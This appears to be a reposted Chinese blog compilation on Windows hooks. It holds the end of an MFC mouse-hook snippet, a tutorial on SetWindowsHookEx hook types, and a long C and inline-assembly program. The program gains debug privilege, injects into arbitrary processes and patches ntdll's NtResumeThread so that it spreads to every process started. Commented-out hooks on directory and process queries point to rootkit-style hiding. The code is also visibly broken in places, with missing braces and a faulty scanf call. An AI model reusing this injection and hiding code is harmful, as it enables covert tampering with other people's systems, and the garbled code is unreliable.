                          //   the   hit   test   indicates   title   bar   
                          if((mhs-> hwnd   ==   pWnd-> GetSafeHwnd())   
                                  &&   (mhs-> wHitTestCode   ==   HTCAPTION)) 
                          {   
                                  //   then   indicate   non-client   left   button   down   
                                  bNcLButtonDown   =   TRUE;   
                                
                                //     there   is   no   problem   with   this   message   
                                //   so   you   don 't   have   to   do   anything   else   
                          }   
                }   
                break;   
                
                case   WM_NCLBUTTONUP:   
                        //   you   will   get   this   message   if   you   double-click   
                        //           on   the   title   bar   
                        //   reset   the   status   
                        bNcLButtonDown   =   FALSE;     
                        break; 


                case   WM_LBUTTONUP:   
                    { 
                            //     get   the   pointer   to   the   main   window   
                            CWnd   *pWnd   =   AfxGetMainWnd();   


                            //   if   the   message   is   from   your   window   and    
                            //   non-client   left   button   is   down 
                            if((mhs-> hwnd   ==   pWnd-> GetSafeHwnd())   
                                    &&   (bNcLButtonDown   ==   TRUE))   
                            { 
                                  //   then   post   WM_NCLBUTTONUP   message   directly   
                                  //   into   your   window   message   pump   
                                  //   Note:   I 'm   hardcoding   HTCAPTION   because   the   
                                  //   left   button   was   down,   and   while   it   is   down, 
                                  //   the   mouse   does   not   move   in   respect   to   the   
                                  //   window,   but   it   does   in   respect   to   the   screen, 
                                  //   so   the   mouse   should   still   be   over   the   caption 
                                  //   bar   of   your   window   when   you   release   the   button. 
                                  pWnd-> PostMessage(WM_NCLBUTTONUP,   HTCAPTION,   
                                                                MAKELONG(mhs-> pt.x,mhs-> pt.y)); 


                                  //   reset   non-client   left   button   down   
                                  bNcLButtonDown   =   FALSE; 
                            } 
                    }   
                    break;   


                default:   
                        break;   
        }   
    }   
    //   let   the   messages   through   to   the   next   hook   
  return   CallNextHookEx(hMHook,   nCode,   wParam,   lParam);   



I   am   including   two   sample   projects.   The   "nclbxExample
"   is   technical,   and   the   "AlphaDialogExample "   is   more   practical.   The   "nclbxExample
"   is   better   documented   so   you   can   see   how   and   were   I   have   implemented   the
  code.   


NOTE:   If   you   are   going   to   use   mousepatch.cpp   the   way   I
'm   using   it,   DO   NOT   add   it   to   your   project. 
  
******************************************************************************************** 


 
WINDOWS VC 编程之 HOOK 技术 
 (2007-05-28 08:46:57)
转载▼  
hook 是 WINDOWS 提供的一种消息处理机制,它使得程序员可以使用子过程来监视系统消
息,并在消息到达目标过程前得到处理。
下面将介绍 WINNDOWS HOOKS 并且说明如何在 WINDOWS 程序中使用它。 
关于 HOOKS
使用 HOOK 将会降低系统效率,因为它增加了系统处量消息的工作量。建议在必要时才使
用 HOOK,并在消息处理完成后立即移去该 HOOK。
HOOK 链
WINDOWS 提供了几种不同类型的 HOOKS;不同的 HOOK 可以处理不同的消息。例如,
WH_MOUSE HOOK 用来监视鼠标消息。
WINDOWS 为这几种 HOOKS 维护着各自的 HOOK 链。HOOK 链是一个由应用程序定义的
回调函数队列,当某种类型的消息发生时,WINDOWS 向此种类型的 HOOK 链的第一个函
数发送该消息,在第一函数处理完该消息后由该函数向链表中的下一个函数传递消息,依次
向下。如果链中某个函数没有向下传送该消息,那么链表中后面的函数将得不到此消息。(对
于某些类型的 HOOK,不管 HOOK 链中的函数是否向下传递消息,与此类型 HOOK 联系的
所有 HOOK 函数都会收到系统发送的消息)
HOOK 过程
为了拦截特定的消息,你可以使用 SetWindowsHookEx 函数在该类型的 HOOK 链中安装你
自己的 HOOK 函数。该函数语法如下: 
public function MyHook(nCode,wParam,iParam) as long
„加入代码 
end function
其中 MyHook 可以随便命名,其它不能变。该函数必须放在模块段。nCode 指定 HOOK 类
型。wParam,iParam 的取值随 nCode 不同而不同,它代表了某种类型的 HOOK 的某个特定
的动作。
SetWindowsHookEx 总是将你的 HOOK 函数放置在 HOOK 链的顶端。你可以使用
CallNextHookEx 函数将系统消息传递给 HOOK 链中的下一个函数。
[注释]对于某些类型的 HOOK,系统将向该类的所有 HOOK 函数发送消息,这时,HOOK
函数中的 CallNextHookEx 语句将被忽略。
全局 HOOK 函数可以拦截系统中所有线程的某个特定的消息(此时该 HOOK 函数必须放置
在 DLL 中),局部 HOOK 函数可以拦截指定线程的某特定消息(此时该 HOOK 函数可以
放置在 DLL 中,也可以放置在应用程序的模块段)。
[注释] 建议只在调试时使用全局 HOOK 函数。全局 HOOK 函数将降低系统效率,并且会同
其它使用该类 HOOK 的应用程序产生冲突。 
HOOK 类型
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK可以监视 SendMessage 发送的
消息。系统在向窗体过程发送消息前,将调用 WH_CALLWNDPROC;在窗体过程处理完该
消息后系统将调用 WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 会向 HOOK过程传送一个 CWPRETSTRUCT 结构的地址。
该结构包含了窗体过程处理系统消息后的一些信息。
WH_CBT Hook 
系统在激活,创建,消毁,最小化,最大化,移动,改变窗体前;在完成一条系统命令前;
在从系统消息队列中移去鼠标或键盘事件前;在设置输入焦点前,或同步系统消息队列前,
将调用 WH_CBT HOOK。你可以在你的 HOOK 过程拦截该类 HOOK,并返回一个值,告
诉系统,是否继续执行上面的操作。 
WH_DEBUG HOOK
系统在调用与某种 HOOK 类型联系的 HOOK 过程前,将调用 WH_DEBUG ,应用程序可
以使用该 HOOK 决定是否让系统执行某种类型的 HOOK。
WH_FOREGROUNDIDLE Hook 
系统在空闲时调用该 HOOK,在后台执行优先权较低的应用程序。
WH_GETMESSAGE Hook 
WH_GETMESSAGE Hook 使应用程序可以拦截 GetMessage 或 PeekMessage 的消息。应用
程序使用 WH_GETMESSAGE HOOK 监视鼠标、键盘输入和发送到队列中的其它消息。 
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使应用程序可以监视输入事件。典型地,应用程序使用该
HOOK 记录鼠标、键盘输入事件以供以后回放。该 HOOK 是全局 HOOK,并且不能在指定
线程中使用。 
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使应用程序可以向系统消息队列中插入消息。该 HOOK
可以回放以前由 WH_JOURNALRECORD HOOK 录制的鼠标、键盘输入事件。在
WH_JOURNALPLAYBACK Hook 安装到系统时,鼠标、键盘输入事件将被屏蔽。该 HOOK
同样是一个全局 HOOK,不能在指定线程中使用。
WH_JOURNALPLAYBACK Hook 返回一个时间暂停值,它告诉系统,在处理当前回放的消
息时,系统等待百分之几秒。这使得此 HOOK 可以控制在回放时的时间事件。 
WH_KEYBOARD Hook
WH_KEYBOARD Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的
WM_KEYDOWN 及 WM_KEYUP 消息。应用程序使用该 HOOK 监视发送到消息队列中的
键盘输入。 
WH_MOUSE Hook
WH_MOUSE Hook 使应用程序可以监视由 GetMessage 和 PeekMessage 返回的消息。应用程
序使用该 HOOK 监视发送到消息队列中的鼠标输入。 
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使应用程序可以监视菜单、滚动条、消
息框、对话框,当用户使用 ALT+TAB 或 ALT+ESC 来切换窗体时,该 HOOK 也可以拦截
到消息。WH_MSGFILTER 仅在应用程序内部监视菜单、滚动条、消息框、对话框,而
WH_SYSMSGFILTER 则可以在系统内监视所有应用程序的这些事件。 
WH_SHELL Hook
一个 SHELL 程序可以使用 WH_SHELL Hook 来接收重要的信息。当一个 SHELL 程序被激
活前或当前窗体被创建、消毁时,系统会调用 WH_SHELL Hook 过程。 
 
vc++实现 Ring3 全局 HOOK 
/****************************************************************
*******/
/* 
实现全局 hook 模块基本完工,测试通过,没有发现异常。
         计划 1:在 hook 前首先检验该程序是否已被 hook
   计划 2:添加枚举进程并 hook 功能
   计划 3:在备份 api 时,只备份目标 api 函数,避免备份整个 dll 浪费空间
   计划 4:给 my_EventProcess_Thread 加上垃圾回收机制 


*/
/****************************************************************
*******/




#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <malloc.h>
#include <stdio.h>
#include <Psapi.h>
#include <Tlhelp32.h>
#pragma comment(lib,"psapi")
#include <winbase.h>
#include <wchar.h>
#include <process.h>
#define WRITEBASE (12)


typedef struct

 HMODULE  hModule;//句柄
 LPVOID  lpNewBaseOfDll;//备份 dll 句柄
 MODULEINFO modinfo;//MODULEINFO 结构 
}DLLINFO, *PDLLINFO;


typedef struct
{
 HANDLE EventFar;
 HANDLE ObjectProcessHandle;
 DWORD WriteAddress;
}EventInfo,*PEventInfo;
 
void UpToDebug();//调整令牌提升至 debug 权限
BOOL InitDll(char *pszDll, PDLLINFO pDllInfo,HANDLE prochandle); 
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE
ObjectProcessHandle);
int HookProcess(HANDLE ObjectProcessHandle);
void FarStartUp(int Num);
void EditHookProc();
void __stdcall my_EventProcess_Thread(HANDLE EventFar);
DWORD __stdcall Hook_NtResumeThread(HANDLE ThreadHandle,PULONG
PreviousSuspendCount OPTIONAL);




BYTE HookCode[]={0xb8,0x0,0x0,0x0,0x0,0xFF,0xE0};


 
void UpToDebug()//调整令牌提升至 debug 权限

 HANDLE token;
 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&token);
 TOKEN_PRIVILEGES tp;
 tp.PrivilegeCount =1;
 LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
 tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
 AdjustTokenPrivileges(token,0,&tp,sizeof(tp),0,0);
}


void main(int argc, char **argv)

 UpToDebug();//提升至 debug 权限
 HANDLE 
ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,atoi(argv[1]));//打
开目标进程 
 HookProcess(ObjectProcessHandle);


 int wait=0;
 scanf("%d",wait);
    return;
}


int HookProcess(HANDLE ObjectProcessHandle)
{
 DLLINFO Object_dll;
 
 if(!InitDll("ntdll.dll",&Object_dll,ObjectProcessHandle)) return 0;//备份目标 dll 
 HookNamedApi(&Object_dll, "NtResumeThread",
(DWORD)Hook_NtResumeThread,ObjectProcessHandle);//hook 函数 


 //hook_api(&user32_dll, "NtQuerySystemInformation",
(DWORD)hook_NtQuerySystemInformation, 
&new_temp,ObjectProcessHandle);//hook 函数
 //hook_api(&user32_dll, "NtQueryDirectoryFile", 
(DWORD)hook_NtQueryDirectoryFile, &new_temp,ObjectProcessHandle);//hook 函
数 
 //hook_api(&user32_dll, "FindFirstFileA", (DWORD)hook_FindFirstFileA,
&new_FindFirstFileA,ObjectProcessHandle);//hook 函数 
 //hook_api(&user32_dll, "FindNextFileA", (DWORD)hook_FindNextFileA,
&new_FindFirstFileA,ObjectProcessHandle);
    return 0;
}


BOOL InitDll(char *pszDll, PDLLINFO pDllInfo,HANDLE prochandle)

 pDllInfo->hModule = GetModuleHandle(pszDll);//得到目标 dll 句柄,因为是本地信息,
所以要保证本程序加载此 dll 
 if(!pDllInfo->hModule)
 {
  printf("pDllInfo->hModule is null! in InitDll");
  return 0;
 }
 if(!GetModuleInformation(GetCurrentProcess(), pDllInfo->hModule, 
&pDllInfo->modinfo, sizeof(MODULEINFO)))//得到目标 dll 信息
 { 
  printf("Error:GetModuleInformation in InitDll");
  return 0;
 }
 pDllInfo->lpNewBaseOfDll =
VirtualAllocEx(prochandle,0,pDllInfo->modinfo.SizeOfImage,MEM_COMMIT|MEM_
RESERVE,PAGE_EXECUTE_READWRITE);//申请空间并赋予相应权限(执行,读写)
 if(!pDllInfo->lpNewBaseOfDll) 
 {
  printf("Error:VirtualAllocEx in InitDll");//错误处理 
  return 0;
 } 
 BYTE * buffer=(BYTE *)malloc(pDllInfo->modinfo.SizeOfImage);//分配缓冲,容纳
目标 dll 
 ReadProcessMemory(prochandle,pDllInfo->modinfo.lpBaseOfDll,buffer,pDllInfo->
modinfo.SizeOfImage,0);//读出,远程 dll 内容 
 WriteProcessMemory(prochandle,pDllInfo->lpNewBaseOfDll,buffer,pDllInfo->mod
info.SizeOfImage,0);//写入备份 dll 
 return 1;
}




int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE
ObjectProcessHandle)
{
 DWORD      dw, NamedApiAddress,NewFunc;
 MEMORY_BASIC_INFORMATION mbi;
 static EventInfo myEventInfo;
 static Num=0x676e696b;


 
 NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目
标 api 地址,每个进程的 api 地址都是一样的,只要找本进程的就可以了。 
 if(NamedApiAddress == NULL)
 { 
  printf("Error:GetProcAddress in hook_api");//错误处理
  return 0; 
 }


 if(!VirtualQueryEx(ObjectProcessHandle,(void 
*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//获取 api 所在
内存信息 
 {
  printf("Error:VirtualQueryEx in hook_api");
  return 0;
 }


 if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE
_EXECUTE_READWRITE,&dw))//分配写和执行权限
 { 
  printf("Error:VirtualProtectEx in hook_api");
  return 0;
 }
 LPVOID
WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RE
SERVE,PAGE_EXECUTE_READWRITE);//分配内存,写入 hook 函数
 
 //计算原函数 COPY 的位置
 NewFunc = NamedApiAddress - (DWORD)pDllInfo->modinfo.lpBaseOfDll + 
(DWORD)pDllInfo->lpNewBaseOfDll; 
 //修改原函数入口处内容
  


 if(strcmp(ApiName,"NtResumeThread")==0)
 {
  DWORD
my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"C
reateEventA");
  HANDLE EventFar;
  __asm
  {
   pushad
   push 00000000h
      push Num
   push 0x676e696b
   push esp
   push 0
   push 0
   push 0
   call my_CreateEventA
   mov EventFar,eax
   pop eax
   pop eax
   pop eax
   popad
  }
  *(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHan
dle("kernel32.dll"),"OpenEventA");
     LPVOID
StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RES
ERVE,PAGE_EXECUTE_READWRITE);//分配内存,写入 StartUp 函数
  WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,50
0,0);
  printf("%x\n",(DWORD)StartUpAddr);
  HANDLE FarThread=CreateRemoteThread(ObjectProcessHandle,0,0,
(LPTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);
  WaitForSingleObject(FarThread,-1);
  CloseHandle(FarThread);
  DWORD ReadBuf;
  ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21)
,&ReadBuf,4,0);
  VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);
  *(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;
  myEventInfo.EventFar=EventFar; 
  myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
  myEventInfo.WriteAddress=(DWORD)WriteAddress;
  CreateThread(0,0,(unsigned long (__stdcall *)(void
*))my_EventProcess_Thread,&myEventInfo,0,0);
  Num++;
 }
 *(PDWORD)(HookProc+WRITEBASE)=NewFunc;
 *(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"GetCurrentProcessId");
 *(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"SetEvent");
 *(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"WaitForSingleObject");
 *(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleH
andle("ntdll.dll"),"NtQueryInformationThread");
 *(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleH
andle("kernel32.dll"),"ResetEvent");


 WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void
*)HookProc,1000,0);
 *(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
 WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCo
de,7,0);


 
 printf("func:%x\n",WriteAddress);//调试信息
 
 return 1;
}


void  FarStartUp(int Num){
 int myOpenEvent=0x10020000;
 __asm call GetMyAddr;
 DWORD myEventHandle=0x00220000;
 DWORD FuncAddr;
 __asm
 {
  jmp run
GetMyAddr:
  pop eax
  mov FuncAddr,eax
  push eax
  ret
run: 
  push 00000000
  push Num
  push 0x676e696b
  push esp
  push 0
  push EVENT_ALL_ACCESS
  call myOpenEvent
  mov myEventHandle,eax
 }
 *(PDWORD)(FuncAddr+3)=myEventHandle;
    return;
}


void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
 EventInfo myEventInfo;
 PEventInfo Info=(PEventInfo)InEventInfo;
 myEventInfo.EventFar=Info->EventFar;
 myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
 myEventInfo.WriteAddress=Info->WriteAddress;
 while(true)
 {
  WaitForSingleObject(myEventInfo.EventFar,-1);
  DWORD ReadBuf=0;
  ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.
WriteAddress+67),&ReadBuf,4,0);
  HANDLE
ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);
  HookProcess(ObjectProcessHandle);
  SetEvent(myEventInfo.EventFar);
  ResetEvent(myEventInfo.EventFar);
 }
 return;
}


DWORD __stdcall Hook_NtResumeThread(
        HANDLE ThreadHandle,
        PULONG PreviousSuspendCount OPTIONAL)

 /*int OldNtResumeThread=0x11223344;//原 NtQueryDirectoryFile 函数
 int EventHandle=0x11002200; 
 int my_GetCurrentProcessId=0x00224466;
 int my_SetEnent=0x22447688;
 int my_WaitForSingleObject=0x22556577; 
 int my_NtQueryInformationThread=0x99884756;*/
 //int FarRead=0x00220044;
 
 int OldNtResumeThread;//原 NtQueryDirectoryFile 函数
 int EventHandle; 
 int my_GetCurrentProcessId;
 int my_SetEnent;
 int my_WaitForSingleObject;
 int my_NtQueryInformationThread;
 int my_ResetEvent;
 __asm
 {
  mov OldNtResumeThread,00112244h
  mov EventHandle,00225588h
  mov my_GetCurrentProcessId,22447799h
  mov my_SetEnent,55662244h
  mov my_WaitForSingleObject,55889966h
  mov my_NtQueryInformationThread,77554411h
  mov my_ResetEvent,55661188h
  pushad
 }
 __asm call GetAddr;
 int FarRead;
 __asm mov FarRead,22550011h;


 
 DWORD myAddr;


 __asm
 {
  jmp start
GetAddr:
     pop eax
  mov myAddr,eax
  push eax
  ret
start:
 }
 
 DWORD myStatus;//存储返回变量
 


 BYTE SystemInfo[60];
 int infoaddr=(DWORD)&SystemInfo; 
 int CurrentProcess;


 __asm
 {
  push 0
     push 28
  push infoaddr
  push 0
  push ThreadHandle
     call my_NtQueryInformationThread
  mov myStatus,eax
 }
 DWORD id=*(DWORD *)(SystemInfo+8);




 __asm
 {
  call my_GetCurrentProcessId
  mov CurrentProcess,eax
 }
 if(id==(DWORD)CurrentProcess)
 {
     __asm
  {
      push PreviousSuspendCount
      push ThreadHandle
      call OldNtResumeThread
      mov myStatus,eax
   popad
  }
     return myStatus;
 }




 if(myStatus==0)
 {
  *(PDWORD)(myAddr+3)=id;
  __asm
  {
   push EventHandle
   call my_SetEnent
   push -1
   push EventHandle
   call my_WaitForSingleObject 
   push EventHandle
   call my_ResetEvent
  }
 }


 __asm
 {
  push PreviousSuspendCount
  push ThreadHandle
  call OldNtResumeThread
  mov myStatus,eax
  popad
 }
return myStatus; 
 
;